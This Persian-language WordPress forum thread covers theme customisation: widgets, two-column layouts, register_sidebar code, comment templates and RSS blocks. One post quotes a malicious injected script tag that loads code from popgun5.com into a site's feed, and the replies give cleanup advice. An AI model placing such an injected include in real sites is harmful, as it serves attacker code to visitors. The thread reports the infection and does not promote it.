سوالات و مشکلاتی که هنگام کار با وردپرس براتون پیش میاد رو مطرح کنید تا با همکاری دوستان جواب بدیم
:53:
نمایش نسخه قابل چاپ
سوالات و مشکلاتی که هنگام کار با وردپرس براتون پیش میاد رو مطرح کنید تا با همکاری دوستان جواب بدیم
:53:
من در خدمتم...
پ.ن: به خاطر کنکور و درس و مشق و ... فعلا فقط به سوالات و مشکلات جواب میدم. بعدا اگه وقت شد چیزایی که از وردپرس میدونم رو به صورت مقاله منتشر میکنم
خب در مورد ابزارك بگيد (كلي)
به قالب اضافه كنيم ؟ خوبه بده چطوره؟
بعضی از امکانات وردپرس یا افزونه هایی که نصب میکنید در قالب ابزارک ارائه میشه تا در صورتی که اونارو به ساید بار اضافه کنید داخل وبلاگ نمایش داده بشهنقل قول:
خب در مورد ابزارك بگيد (كلي)
مثل آخرین مطالب یا اخرین نظرات یا لینک دوستان یا غیره و غیره
خوب یا بد بودنش هم... خوبه
خیلی از کارارو فقط با ابزارک میشه انجام داد
پ.ن: فعلا شب بخیر تا فردا..
چطور میشه یه قالب وردپرس رو به یه قالب دو ستونه و فروشگاهی تبدیل کرد؟
برای اینکار شما باید بیشتر با html آشنا باشین تا قالب وردپرس
یعنی باید اول روش درست کردن همین چیزی رو به صورت استاتیک در html بلد باشین
ما برای دو ستونه کردن باید دوتا div رو در کنار هم بزاریم
و این کار با تنظیم کردن float و with مناسب امکان پذیره
نمونه کد خیلی ساده برای این کار (بوردر رو برای این به fdiv ها اضافه کردم که حریمشون مشخص باشه)
خبکد:<div style="width: 400px; border: solid 1px red;">
<div style="float: right; width: 192px; border: dotted 1px blue; margin: 2px;">بلوک </div>
<div style="float: right; width: 192px; border: dotted 1px blue; margin: 2px;">بلوک </div>
</div>
تا اینجا ما یاد گریفتیم که div هارو کنار هم بزاریم و این اولین قدم برای نمایش دادن مطالب به صورت دو ستونه هست
حالا باید کدهای حلقه وردپرس رو با کدی شببیه اینی که من نوشتیم ترکیب کنیم تا مطالب جای اینکه در زیر هم نمایش داده بشن دوتا دوتا کنار هم باشن
و اینم کد نمونه از یه حلقه که اگه در پوسته تون ازش استفاده کنید پست ها دوتا دوتا کنار هم نمایش داده میشن یا به عبارتی در دو ستون
حالا فرضا اگه بخوایم که سه ستون از مطالب داشته باشیم باید عرض div اصلی (دربرگیرنده همه مطالب) و div های فرعی (مربوط به مطالب) رو طوری تنظیم کنیم که مرورگر بتونه سه تا از فرعی هارو در کنار هم در داخل اصلی نشون بده (چی گفتم ؟!)کد:<div style="width: 400px; border: solid 1px red;">
<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div style="float: right; width: 192px; border: dotted 1px blue; margin: 2px;">
<a title="<?php the_title(); ?>" href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
<?php the_content(''); ?>
نویسنده: <?php the_author() ?> | تاریخ: <?php the_time('jS F Y');?> <?php the_time('');?> <br />
<?php comments_popup_link('بدون نظر', 'يک نظر','% نظر'); ?> <br /> | کلمات کليدي: <?php the_tags(',') ?>
</div>
<?php endwhile;?>
<?php endif; ?>
</div>
مشکل ویروس در وردپرس کمک کمک کمک
نقل قول:
xml parsing error: Not well-formed
location: راهنمای تحصیل در فرانسه
line number 1, column 13:<script src=http://popgun5.com/images/gifimg.php ></script><?xml version="1.0" encoding="utf-8"?>
------------^
این کد دقیقا در کجای وردپرس هست و در چه صفحاتی نشون داده میشه ؟
همچین کدی قبلا تو کل فایل های js. خودشو نفوذ میداد
همرو می گرفتم تصفیه می کردم از تو فیدش نمیدونم از کجا لود می کرد
نمیدونم مشکلش یه
1 ماه بود مشکلی نداشت :((
مشکل از هاسته..
ممکنه با یه سیستم آلوده وارد ftp شده باشی و اون یه فایل php رو آلوده کرده باشه و با کمک همون فایل php فایل های js رو آلوده کنه.... .
مشکل از شخصیه که با ftpمیاد یا هاسته ما مشکل داره؟
اگه باقی سایت ها همچین مشکلی دارن (که بعید میدونم) مشکل از هاسته
وگرنه مشکل از سیستم کسیه که به اف تی پی کانکت شده
قبلا مشکلاتی تو همین مایه هارو تجربه کردم..
بعد از نصب ویندوز اولین کارم نصب یه انتی ویروس (nod32) از روی سی دی نه هارد
و آپدیت کردن آنتی ویروس و چک کردن سیستم بود
بعدش هم همه فایل های روی هاست رو بعد از گرفتن بکاپ پاک کردم
مجددا وردپرس رو دانلود کردم و ریختم روی هاست
فایل کانفیگشو رو تنظیم کردم و وبلاگ راه افتاد
بعد هم کم کم باقی فایل هایی که روی هاست داشتمو رو سیستم باز کردم و کدهایی که اضاف شده بود رو پاک کردم و ریختم روی هاست
فقط فایل های index.php و index.html و index.htm آلوده شده بوده
البته ممکنه این کاری که گفتم جواب نده و این یعنی اینکه دیتابیس آلوده شده...
6 دفعه1 ماه پیش پاک سازی کردم
1 ماه اوکی بود تا اینکه سایتشو دیشب آپدیت کرد
خب من طبق آموزش سايت وردپرس يه قالب بي ابزارك رو ابزارك دار كردم ناجور شد المان هاش بهم ريخت
حالا براي تغيير يه قالب ورد پرس از Dreamweaver CS4 استفاده كنيم خوبه به چه شكل تو برنامه كل قالب وردپرس رو مشاهده و تغيير بديم؟ (يه نرمافزار بود الان ندارم قالب رو باز ميكرد تغيير ميداديم كدهاشو تغيير ميداد)
woshka جان ، قبلا در مورد اینطور ویروسها که اغلب خودشون رو تو فایلهای Js نفوذ میدن ، تو سایت phpnuke بطور کامل گفته بودم، که سر و ته قضیه بر میگرده به اینکه فایلهای مهم و اصلی سایت رو حق دسترسی محدود مثل 444 و یا 440 بگذارید ، بدترینشون هم یه زمان Gumblar بود که الان هم تو بعضی سایتها هست !
بعید میدونم تو دریم ویور بشه قالب رو مشاهده کردنقل قول:
خب من طبق آموزش سايت وردپرس يه قالب بي ابزارك رو ابزارك دار كردم ناجور شد المان هاش بهم ريخت
حالا براي تغيير يه قالب ورد پرس از Dreamweaver CS4 استفاده كنيم خوبه به چه شكل تو برنامه كل قالب وردپرس رو مشاهده و تغيير بديم؟ (يه نرمافزار بود الان ندارم قالب رو باز ميكرد تغيير ميداديم كدهاشو تغيير ميداد)
مگر اینکه پلاگینی برای این کار وجود داشته باشه که من در جریانش نباشم..
اسم اون نرم افزاری هم که میگین به احتمال 90% آرتیستیر Artisteer هست
چون تنها نرم افزاری که من در این زمینه میشناسم که این قابلیت رو داره همینه
البته من تاحالا باهاش کار نکردم ...
سلام
به نظر دوستان ميشه اين قالب رو ابزارك دار كرد؟
يه توضيحي تو سايت وردپرس بود انجام دادم نشد!
من براتون انجام میدم سرم شلوغه ولی سعی میکنم در 48 ساعت اینده اوکی بشه
نه آقا اين حرفا چيه لطف ميكني وقت نكردي نشد هم موردي نيست:53:
تنكس
من یه قالب phpnuke دارم میخوام وردپرس بشه کسی هست که کمک کنه
اینم لینکش pishtazdownload.com
1. خودتون کار تبدیل رو شروع کنید و هرجا به مشکل برخوردید همینجا مطرح کنید تا پاسخ داده بشه
2. به دلیل نیاز مالی که دارم تو این چند روز تعطیلی همین رو بدون تیبل و با رعایت اصول سئو (اونایی که بلدم) واستون میزنم و یه وردپرس هم نصب و کانفیگ میکنم (سئو - نصب و تنظیم افزونه های مفید (به تشخیص خودم)) با هزینه 20 تومن (یک کلام)
خواهش :)
افرا جان ميشه طريقه سازگاري قالب با ابزارك رو توضيح بدي؟
ممنون از لطفت
برای اضافه کردن ابزارک به قالب باید فایل functions.php رو تو پوشه پوسته ایجاد کنیم
و کد های پایین رو توش مینویسیم
جلوی name اسم ابزارک رو مینویسیم که در پنل مدیریت قسمت ابزارک ها نشون داده میشهکد HTML:<?php
register_sidebar(array(
'name' => '',
'before_widget' => '',
'after_widget' => '',
'before_title' => '',
'after_title' => '',
));
?>
before_widget هم کد هایی که قبل از هر ابزارک باید وجود داشته باشه
after_widget کد های مربوط به بعد از ابزارک
before_title کد هایی که باید قبل از عنوان ابزارک باشن
after_title کدهایی که باید بعد از عنوان ابزارک باشن که محتویات ابزارک بعد از کدهای این قمسمت پرینت میشه
خب.. حالا ما یه سایدبار ایجاد کردیم و کدهایی که باید برای ابزارک ها به کار برده بشه رو هم مشخص کردیم
حالا باید محل نمایش این سایدبار رو توی پوسته مشخص کنیم
برای این کار باید کد پایین رو در هر جایی که بخوایم این سایدبار نمایش داده بشه قرار بدیم
من برای سازگار کردن پوسته shop3 (همین که H+R لینکشو گذاشت) با ابزارک کد های پایین رو در فایل function.php نوشتمکد:<?php dynamic_sidebar(1) ?>
کد PHP:
<?php
register_sidebar(array(
'name' => 'right-sidebar',
'before_widget' => '<div id="rightcol-up">',
'after_widget' => '</div></div><div id="rightcol-down"></div>',
'before_title' => '<div id="rightcol-uptext">',
'after_title' => '</div></div><div id="rightcol-body"><div id="righcol-btext">',
));
?>
دوستان يه افزونه خوب براي آمارگيري معرفي كنيد ترجيحا فارسي هم شده باشه
تعداد مطالب
تعداد نظرات
افراد آنلاين
بازديد امروز
بازديد ديروز
و... رو داشته باشه
ممنون
------
راستي تو اين قالب ابزارك دار شده چرا نميشه نظر داد به قالب مربوطه؟
این قالب از اول قابلیت نظر دهی داشت ؟ اگه داشته و الان کار نمیکنه بگین که بررسی کنم
الان یاد ندارم.. ولی بعید میدونم قالب فروشگاهی امکان نظر دهی داشته باشه... یعنی نیاز نیست که داشته باشه
در مورد افزونه امارگیر هم به شدت پیشنهاد میکنم که همچین افزونه ای نصب نکنی
جدا از تعداد مطالب و نظرات باقی چیزایی که میخوای باید به وسیله افزونه تو دیتابیس ثبت بشه
یعنی در ازای هر بازدید حداقل یک رکورد اضافه بشه (آی پی بازدید کننده ساعت بازدید و رفر و ...)
و این مساوی هست با افزایش سریع حجم دیتابیس و فشار به mysql و بعد از اون هم کند شدن سایت یا نیاز به هزینه برای تهیه وی پی اس و ...
بله به قالب مربوطه
اگه میخوای قابلیت نظر دهی اضافه کنی فایل comments.php رو از پوشه قالب default تو پوشه قالبت کپی کن و تو فایل single.php توی حلقه کد
<?php comments_template(); ?>
رو بزار
ممنون
فعال شد نظرات بالاي فوتر هم هست ولي از قالب ميزنه بيرون....
يه سوالي هست كه وردپرسي هاي حرفه اي بايد جواب بدن : چطور توي وردپرس ميشه يه بلوك ساخت ؟؟من ميخوام آخرين ارسال هاي فرومم رو تو وردپرس نمايش بدم ميخوام يه بلوك بسازم بايد چيكار كنم ؟
از ابزارک rss استفاده کن..
سلام ميدونم براي آخرين ارسال فروم از Rss ميشه استفاده كرد
من ميخوام آخرين ارسال ها توي يه كادر باشه يعني يه بلوك بسازم كه توش كد آر اس اس رو بدم منظورمو متوجه شدين ؟؟
نمونه بدین تا متوجه بشم
در وردپرس غیر ممکن نداریم..
نمونه مانند : It2Net Download Center _ Free & Direct Download Software البته ديتالايف هست ولي بالاش يه باكس داره براي آخرين ارسال انجمن
يكي ديگه هم webalfa.com هست كه فعلا هك شده اگه قبلا رفته باشيد بالاش يك باكس ديدين كه آخرين ارسال رو نشون ميده
داداش نميدوني بايد چيكار كنم درسته ؟؟؟